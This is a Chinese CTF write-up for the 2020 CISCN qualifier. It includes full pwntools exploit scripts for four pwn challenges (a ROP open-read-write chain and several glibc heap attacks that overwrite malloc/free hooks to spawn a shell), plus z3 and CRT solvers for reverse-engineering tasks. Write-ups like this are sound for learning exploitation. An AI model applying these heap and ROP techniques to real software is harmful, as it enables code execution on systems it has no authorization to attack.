前言

菜鸡又是只会签到, pwn基本都是nuoye大哥做的, 这是他的blog: 2020CISCN-线上初赛

PWN

wow

思路

与2020 RCTF的bf类似,缓冲区紧接着的指令指针存在off by one,可以控制该指针在栈上任意输入。

劫持返回地址构造rop,并将指令指针还原回去(存在check)。

因为禁用了execute系统调用,所以需要通过ORW方式获取flag。

exp

from pwn import *
context.log_level = 'debug'
p = process("./wow")
p = remote("101.200.53.148","15324")

pop_rdi=0x00000000004047ba
pop_rsi=0x0000000000407578
pop_rdx=0x000000000040437f
pop_rbp=0x0000000000404c41
pop_rax_rdx_rbx=0x000000000053048a
mov_rdi_rax = 0x000000000041768f
syscall = 0x00000000004dc054
read = 0x52A670
bss = 0x5d3520
puts = 0x4D47B4

rop = p64(0)*2
rop += p64(pop_rdi)
rop += p64(bss)
rop += p64(pop_rax_rdx_rbx)
rop += '/flag'+'\x00'*3
rop += p64(bss)
rop += p64(bss)
rop += p64(mov_rdi_rax)
rop += p64(pop_rax_rdx_rbx)
rop += p64(0x2)
rop += p64(0)
rop += p64(bss)
rop += p64(pop_rsi)
rop += p64(0)
rop += p64(syscall)#open
rop += p64(pop_rdi)
rop += p64(3)
rop += p64(pop_rsi)
rop += p64(bss+0x100)
rop += p64(pop_rax_rdx_rbx)
rop += p64(0)
rop += p64(0x100)
rop += p64(bss)
rop += p64(syscall)#read
rop += p64(pop_rdi)
rop += p64(bss+0x100)
rop += p64(puts)#puts
rop += "^{@^}$".ljust(8,'\x00')

p.recvuntil("enter your code:")
p.sendline("^{@^}&")
p.recvuntil("running....\n")
byte = u32(p.recv(1)+'\x00'*3) -1
p.recvuntil("continue?")
p.send('Y')

p.recvuntil("enter your code:")
p.sendline("^{@^}$")
p.recvuntil("running....\n")
p.send(p64(byte+0x48)[0])
p.recvuntil("continue?")
p.send('Y')

p.recvuntil("enter your code:")
p.send(rop+'\n')
p.recvuntil("running....\n")
#gdb.attach(p,'b *0x00000000004dc054')
p.send(p64(byte)[0])
p.recvuntil("continue?")
p.send('n')

p.interactive()

easybox

思路

存在off by one漏洞,利用漏洞可以实现chunk extend,得到两个指向同一地址的指针。然后利用堆错位来伪造size位等,实现将同一个地址先后free进fastbin和unsortbin,进而利用main_arean劫持stdout结构(1/16概率),使用io_leak的方法获取到libc地址。

接着用fastbin的double free漏洞劫持__malloc_hook,从而getshell。

exp

from pwn import *
#context.log_level = 'debug'
def exp():
#p = process("./pwn")
p = remote("101.200.53.148","34521")
libc = ELF("./pwn").libc
def add(idx,size,data):
p.recvuntil(">>>")
p.sendline("1")
p.recvuntil("idx:")
p.sendline(str(idx))
p.recvuntil("len:")
p.sendline(str(size))
p.recvuntil("content:")
p.send(data)
def free(idx):
p.recvuntil(">>>")
p.sendline("2")
p.recvuntil("idx:")
p.sendline(str(idx))

#one = [0x45216,0x4526a,0xf02a4,0xf1147]
one = [0x45226,0x4527a,0xf0364,0xf1207]

add(0,0xf8,'a'*0xf8)
add(1,0xf8,'a'*0xf8)
add(2,0xf8,'a'*0xf8)
add(3,0xf8,'a'*0xf8)
free(2)
add(2,0xf8,'a'*0xf0+p64(0x300)+'\x00')
free(0)
free(3)

add(0,0xe8,'a'*0xe8)
add(4,0xf8,p64(0)+p64(0x71)+'a'*0x68+p64(0x81))
free(4)
free(0)
free(1)
add(0,0xf8,'a')
add(5,0xf8,'a')
add(6,0xf8,'a')
free(5)
add(7,0xf8,'\xdd\x25')
free(0)
free(7)
add(0,0xe8,'a'*0xe8)
add(8,0xf8,p64(0)+p64(0x71))

add(7,0x68,'a')
add(9,0x68,'\x00'*3+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'\x00')

p.recvuntil(p64(0xfbad1800))
p.recv(32)
libc.address = u64(p.recv(6)+'\x00\x00') -0x3C56A3
print hex(libc.address)

free(8)
free(0)
free(6)

add(0xa,0xf8,'a')
add(0xb,0xe8,'a')
add(0xc,0xf8,p64(0)+p64(0x71)+'a'*0x68+p64(0x81))
add(0xd,0xe8,'a')
free(2)
free(0xc)
add(0xc,0xf8,p64(0)+p64(0x71)+p64(libc.sym['__malloc_hook']-0x23))
add(1,0x68,'a')
add(2,0x68,'\x00'*0xb+p64(libc.sym['realloc']+6)+p64(libc.address+one[3]))
#gdb.attach(p,'b malloc')
p.recvuntil(">>>")
p.sendline("1")
p.recvuntil("idx:")
p.sendline('3')
p.recvuntil("len:")
p.sendline(str(0x48))
p.interactive()
#exp()
while(1):
try:
exp()
except:
print 'fail'

maj

思路

存在大量混淆,可以直接忽略。

free时未清空堆指针,从而可以利用堆错位来伪造size位等,实现将同一个地址先后free进fastbin和unsortbin,进而利用main_arean劫持stdout结构(1/16概率),使用io_leak的方法获取到libc地址。

并且因为没有开启pie,因而可以劫持堆指针。

构造一个堆指针指向__free_hook,将其改为system,从而实现getshell。

exp

from pwn import *
#p = process("./pwn")
libc = ELF("./pwn").libc
context.log_level = 'debug'
def exp():
p = remote("101.200.53.148" ,"15423")
def add(size,data):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("please answer the question")
p.sendline("82")
p.recvuntil("you are right")
p.sendline(str(size))
p.recvuntil("start_the_game,yes_or_no?")
p.send(data)
def free(idx):
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("index ?")
p.sendline(str(idx))
def edit(idx,data):
p.recvuntil(">> ")
p.sendline("4")
p.recvuntil("index ?")
p.sendline(str(idx))
p.recvuntil("__new_content ?")
p.send(data)
add(0x68,'aaa')#0
add(0x68,'aaa')#1
add(0x7f,'aaa')#2
free(0)
edit(0,p64(0x603260))
add(0x68,'aaa')#3
add(0x68,'aaa')#4
edit(4,p32(0xff)*24)
edit(4,p32(0xff)*28+p64(0x6032e0))
edit(0,p64(0x6032e0)+p64(0x603260))
add(0x88,'a'*0x48+p64(0x21))#5
edit(5,'a'*0x68+p64(0x21))
add(0x18,'aaa')#6
add(0x68,'aaa')#7
edit(0,p64(0x6032e0)+p64(0x603260)+p64(0)*3+'\x70')
edit(5,p64(0)+p64(0x71))
edit(0,p64(0x6032e0)+p64(0x603260)+p64(0)*3+'\x80')
free(5)
edit(0,p64(0x6032e0)+p64(0x603260)+p64(0)*3+'\x70')
edit(5,p64(0)+p64(0x91))
edit(0,p64(0x6032e0)+p64(0x603260)+p64(0)*3+'\x80')
free(5)
edit(5,'\xdd\x25')
edit(0,p64(0x6032e0)+p64(0x603260)+p64(0)*3+'\x70')
edit(5,p64(0)+p64(0x71))
add(0x68,'aaa')#2
add(0x68,'aaa')#3
edit(3,'\x00'*3+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'\x00')
p.recvuntil(p64(0xfbad1800))
p.recv(32)
libc.address = u64(p.recv(6)+'\x00\x00') -0x3C56A3
print hex(libc.address)
edit(0,p64(0x6032e0)+p64(0x603260)+p64(libc.sym['__free_hook']))
edit(2,p64(libc.sym['system']))
#gdb.attach(p)
edit(6,'/bin/sh')
free(6)
p.interactive()
while(1):
try:
exp()
except:
print 'fail'

nofree

strdup存在00截断,因而可以溢出堆块。通过 House of Orange 构造使top chunk进入0x70的fastbin中,从而控制堆指针,达到任意写。

这里采用爆破第4位(概率为1/16)的方式将read改为onegadget,从而getshell。

exp

from pwn import *
context.log_level = 'debug'
def exp():
#p = process("./pwn")
p = remote("101.200.53.148","12301")
def add(idx,size,data):
p.recvuntil("choice>> ")
p.sendline("1")
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("content: ")
p.send(data)
def edit(idx,data):
p.recvuntil("choice>> ")
p.sendline("2")
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("content: ")
p.send(data)
one = [0x45226,0x4527a,0xf0364,0xf1207]
add(0,0x90,'a')
edit(0,"a"*0x10+p64(0)+p64(0x0fe1))
for i in range(0x18):
add(0,0x90,"a"*0x90)
add(0,0x71,"a"*0x40)
add(2,0x90,"a"*0x90)
edit(0,'a'*0x40+p64(0)+p64(0x71)+p64(0x6021c0))
add(1,0x71,"a"*0x60)
add(1,0x71,"a"*0x60)
edit(1,p64(0x6021c0)+p64(0xfffff))
edit(1,p64(0x6021c0)+p64(0xfffff))
#0->heap_ptr
edit(0,p64(0x6021c0)+p64(0xfffff)+p64(0x0602048)+p64(0xffff))
edit(1,'\x64\x03')
#gdb.attach(p,'b *0x400934')
p.interactive()
#exp()
while(1):
try:
exp()
except:
print 'fail'

Re

hyperthreading

简单加解密

res=[0xDD0x5B0x9E0x1D0x200x9E0x900x910x900x900x910x920xDE0x8B0x110xD10x1E0x9E0x8B0x510x110x500x510x8B0x9E0x5D0x5D0x110x8B0x900x120x910x500x120xD20x910x920x1E0x9E0x900xD20x9F]
for i in range(42):
    res[i]=((res[i]-35)^0x23)&0xff
print(res)
for i in range(42):
    print(chr(((res[i]>>6)&0xff)^((res[i]<<2)&0xff)),end="")

z3

z3 直接解, 签到题

from z3 import *

v4 = [0x00004F17, 0x00009CF6, 0x00008DDB, 0x00008EA6, 0x00006929, 0x00009911, 0x000040A2, 0x00002F3E, 0x000062B6, 0x00004B82, 0x0000486C, 0x00004002, 0x000052D7, 0x00002DEF, 0x000028DC, 0x0000640D, 0x0000528F, 0x0000613B, 0x00004781, 0x00006B17, 0x00003237, 0x00002A93, 0x0000615F, 0x000050BE, 0x0000598E, 0x00004656, 0x00005B31, 0x0000313A, 0x00003010, 0x000067FE, 0x00004D5F, 0x000058DB, 0x00003799, 0x000060A0, 0x00002750, 0x00003759, 0x00008953, 0x00007122, 0x000081F9, 0x00005524, 0x00008971, 0x00003A1D]

v5 = IntVector('x', 42)

s = Solver()

s.add(v4[0]==34*v5[3]+12*v5[0]+53*v5[1]+6*v5[2]+58*v5[4]+36*v5[5]+v5[6])
s.add(v4[1]==27*v5[4]+73*v5[3]+12*v5[2]+83*v5[0]+85*v5[1]+96*v5[5]+52*v5[6])
s.add(v4[2]==24*v5[2]+78*v5[0]+53*v5[1]+36*v5[3]+86*v5[4]+25*v5[5]+46*v5[6])
s.add(v4[3]==78*v5[1]+39*v5[0]+52*v5[2]+9*v5[3]+62*v5[4]+37*v5[5]+84*v5[6])
s.add(v4[4]==48*v5[4]+14*v5[2]+23*v5[0]+6*v5[1]+74*v5[3]+12*v5[5]+83*v5[6])
s.add(v4[5]==15*v5[5]+48*v5[4]+92*v5[2]+85*v5[1]+27*v5[0]+42*v5[3]+72*v5[6])
s.add(v4[6]==26*v5[5]+67*v5[3]+6*v5[1]+4*v5[0]+3*v5[2]+68*v5[6])
s.add(v4[7]==34*v5[10]+12*v5[7]+53*v5[8]+6*v5[9]+58*v5[11]+36*v5[12]+v5[13])
s.add(v4[8]==27*v5[11]+73*v5[10]+12*v5[9]+83*v5[7]+85*v5[8]+96*v5[12]+52*v5[13])
s.add(v4[9]==24*v5[9]+78*v5[7]+53*v5[8]+36*v5[10]+86*v5[11]+25*v5[12]+46*v5[13])
s.add(v4[10]==78*v5[8]+39*v5[7]+52*v5[9]+9*v5[10]+62*v5[11]+37*v5[12]+84*v5[13])
s.add(v4[11]==48*v5[11]+14*v5[9]+23*v5[7]+6*v5[8]+74*v5[10]+12*v5[12]+83*v5[13])
s.add(v4[12]==15*v5[12]+48*v5[11]+92*v5[9]+85*v5[8]+27*v5[7]+42*v5[10]+72*v5[13])
s.add(v4[13]==26*v5[12]+67*v5[10]+6*v5[8]+4*v5[7]+3*v5[9]+68*v5[13])
s.add(v4[14]==34*v5[17]+12*v5[14]+53*v5[15]+6*v5[16]+58*v5[18]+36*v5[19]+v5[20])
s.add(v4[15]==27*v5[18]+73*v5[17]+12*v5[16]+83*v5[14]+85*v5[15]+96*v5[19]+52*v5[20])
s.add(v4[16]==24*v5[16]+78*v5[14]+53*v5[15]+36*v5[17]+86*v5[18]+25*v5[19]+46*v5[20])
s.add(v4[17]==78*v5[15]+39*v5[14]+52*v5[16]+9*v5[17]+62*v5[18]+37*v5[19]+84*v5[20])
s.add(v4[18]==48*v5[18]+14*v5[16]+23*v5[14]+6*v5[15]+74*v5[17]+12*v5[19]+83*v5[20])
s.add(v4[19]==15*v5[19]+48*v5[18]+92*v5[16]+85*v5[15]+27*v5[14]+42*v5[17]+72*v5[20])
s.add(v4[20]==26*v5[19]+67*v5[17]+6*v5[15]+4*v5[14]+3*v5[16]+68*v5[20])
s.add(v4[21]==34*v5[24]+12*v5[21]+53*v5[22]+6*v5[23]+58*v5[25]+36*v5[26]+v5[27])
s.add(v4[22]==27*v5[25]+73*v5[24]+12*v5[23]+83*v5[21]+85*v5[22]+96*v5[26]+52*v5[27])
s.add(v4[23]==24*v5[23]+78*v5[21]+53*v5[22]+36*v5[24]+86*v5[25]+25*v5[26]+46*v5[27])
s.add(v4[24]==78*v5[22]+39*v5[21]+52*v5[23]+9*v5[24]+62*v5[25]+37*v5[26]+84*v5[27])
s.add(v4[25]==48*v5[25]+14*v5[23]+23*v5[21]+6*v5[22]+74*v5[24]+12*v5[26]+83*v5[27])
s.add(v4[26]==15*v5[26]+48*v5[25]+92*v5[23]+85*v5[22]+27*v5[21]+42*v5[24]+72*v5[27])
s.add(v4[27]==26*v5[26]+67*v5[24]+6*v5[22]+4*v5[21]+3*v5[23]+68*v5[27])
s.add(v4[28]==34*v5[31]+12*v5[28]+53*v5[29]+6*v5[30]+58*v5[32]+36*v5[33]+v5[34])
s.add(v4[29]==27*v5[32]+73*v5[31]+12*v5[30]+83*v5[28]+85*v5[29]+96*v5[33]+52*v5[34])
s.add(v4[30]==24*v5[30]+78*v5[28]+53*v5[29]+36*v5[31]+86*v5[32]+25*v5[33]+46*v5[34])
s.add(v4[31]==78*v5[29]+39*v5[28]+52*v5[30]+9*v5[31]+62*v5[32]+37*v5[33]+84*v5[34])
s.add(v4[32]==48*v5[32]+14*v5[30]+23*v5[28]+6*v5[29]+74*v5[31]+12*v5[33]+83*v5[34])
s.add(v4[33]==15*v5[33]+48*v5[32]+92*v5[30]+85*v5[29]+27*v5[28]+42*v5[31]+72*v5[34])
s.add(v4[34]==26*v5[33]+67*v5[31]+6*v5[29]+4*v5[28]+3*v5[30]+68*v5[34])
s.add(v4[35]==34*v5[38]+12*v5[35]+53*v5[36]+6*v5[37]+58*v5[39]+36*v5[40]+v5[41])
s.add(v4[36]==27*v5[39]+73*v5[38]+12*v5[37]+83*v5[35]+85*v5[36]+96*v5[40]+52*v5[41])
s.add(v4[37]==24*v5[37]+78*v5[35]+53*v5[36]+36*v5[38]+86*v5[39]+25*v5[40]+46*v5[41])
s.add(v4[38]==78*v5[36]+39*v5[35]+52*v5[37]+9*v5[38]+62*v5[39]+37*v5[40]+84*v5[41])
s.add(v4[39]==48*v5[39]+14*v5[37]+23*v5[35]+6*v5[36]+74*v5[38]+12*v5[40]+83*v5[41])
s.add(v4[40]==15*v5[40]+48*v5[39]+92*v5[37]+85*v5[36]+27*v5[35]+42*v5[38]+72*v5[41])
s.add(v4[41]==26*v5[40]+67*v5[38]+6*v5[36]+4*v5[35]+3*v5[37]+68*v5[41])

if s.check() == sat:
m = s.model()
res = ""
for i in range(42):
res += chr(m[v5[i]].as_long())

print(res)

oplog

丢进反编译器里, 看到smc

取code[0x20:]重新反编译看到正常solidity代码

from z3 import *

s = Solver()

r1 = Int('r1')
r2 = Int('r2')
r3 = Int('r3')

m1 = 0x88c218df8c5c25674af5808d963bfee9
m2 = 0xfa8cca1bced017e0ab064d4844c3020b
m3 = 0xe0ac283049469716cebd61a5b97b8bef
s.add(r1 > 0)
s.add(r2 > 0)
s.add(r3 > 0)
s.add(r1 < m1)
s.add(r2 < m2)
s.add(r3 < m3)

x1 = r1 * 0xd062 + r2 * 0x37b9 + r3 * 0xcc13

x2 = r1 * 0xa4fb + r2 * 0xa0a5 + r3 * 0x2fca

x3 = r1 * 0x8f9b + r2 * 0x9805 + r3 * 0xa6a0

mod = 0x800000000000000000000000000000000000

v1 = 2357997788534811140333166336809177915724020
v2 = 94024083436562980853861433269689272115769
v3 = 7686765725723381031146546660250331403246417

key = (14678491206170330851881690558556870568208252 % mod) ^ v1

s.add((v1 ^ key) == (x1 % mod))
s.add((v2 ^ key) == (x2 % mod))
s.add((v3 ^ key) == (x3 % mod))

assert s.check() == sat

r1 = s.model()[r1].as_long()
r2 = s.model()[r2].as_long()
r3 = s.model()[r3].as_long()

from functools import reduce

def egcd(a, b):
if 0 == b:
return 1, 0, a
x, y, q = egcd(b, a % b)
x, y = y, (x - a // b * y)
return x, y, q


def chinese_remainder(pairs):
mod_list, remainder_list = [p[0] for p in pairs], [p[1] for p in pairs]
mod_product = reduce(lambda x, y: x * y, mod_list)
mi_list = [mod_product//x for x in mod_list]
mi_inverse = [egcd(mi_list[i], mod_list[i])[0] for i in range(len(mi_list))]
x = 0
for i in range(len(remainder_list)):
x += mi_list[i] * mi_inverse[i] * remainder_list[i]
x %= mod_product
return x

val = chinese_remainder([(m1, r1), (m2, r2), (m3, r3)])
print(bytes.fromhex(hex(val)[2:]))

flag: flag{wuhan_v3r9_g009_s4y_w3jj_8}